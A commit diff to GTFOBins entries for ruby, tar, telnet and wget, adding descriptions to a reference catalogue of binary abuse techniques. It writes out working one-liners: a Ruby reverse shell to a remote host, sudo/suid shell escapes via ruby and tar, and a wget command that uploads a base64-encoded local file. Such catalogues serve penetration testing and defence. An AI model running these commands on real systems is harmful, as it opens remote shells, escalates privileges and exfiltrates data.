Add missing descriptions

_gtfobins/ruby.md

@@ -4,16 +4,17 @@ functions:
     - code: ruby -e 'exec "/bin/sh"'
   sudo-enabled:
     - code: sudo ruby -e 'exec "/bin/sh"'
-  reverse-shell:
-    - code: |
-        export RHOST=10.0.0.1
-        export RPORT=8000
-        ruby -rsocket -e 'exit if fork;c=TCPSocket.new(ENV["RHOST"],ENV["RPORT"]);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
-  load-library:
-    - code: ruby -e 'require "fiddle"; Fiddle.dlopen("lib.so")'
   upload:
     - description: Serve files in the local folder running an HTTP server.
       code: |
         export LPORT=8888
         ruby -run -e httpd . -p $LPORT
+  reverse-shell:
+    - description: Run `nc -l -p 8000` to receive the shell on the other end.
+      code: |
+        export RHOST=10.0.0.1
+        export RPORT=8000
+        ruby -rsocket -e 'exit if fork;c=TCPSocket.new(ENV["RHOST"],ENV["RPORT"]);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
+  load-library:
+    - code: ruby -e 'require "fiddle"; Fiddle.dlopen("lib.so")'
 ---

_gtfobins/tar.md

@@ -5,6 +5,5 @@ functions:
   sudo-enabled:
     - code: sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
   suid-limited:
-    - code: ./tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec="/bin/sh
+    - code: ./tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec="/bin/sh -p"
-        -p"
 ---

_gtfobins/telnet.md

@@ -9,8 +9,9 @@ functions:
         !/bin/sh
       description: MacOS only.
   reverse-shell:
-    - code: |
+    - description: Run `nc -l -p 8000` to receive the shell on the other end.
-        RHOST=127.0.0.1
+      code: |
+        RHOST=10.0.0.1
         RPORT=8000
         TF=$(mktemp)
         rm $TF

_gtfobins/wget.md

@@ -1,14 +1,14 @@
 ---
 functions:
   upload:
-    - description: Send base64-encoded local file via "d" parameter of a HTTP POST request.
+    - description: Send base64-encoded local file via "d" parameter of a HTTP POST request. Run an HTTP service to collect the file on the other end.
       code: |
         export URL=http://10.0.0.1/
         export LFILE=file_to_send
         wget --post-data="d=$(base64 $LFILE | tr -d '\n')" $URL
   download:
     - description: Fetch a remote file via HTTP GET request.
-      code: |-
+      code: |
         export URL=http://10.0.0.1/file_to_get
         export LFILE=file_to_get
         wget $URL -O $LFILE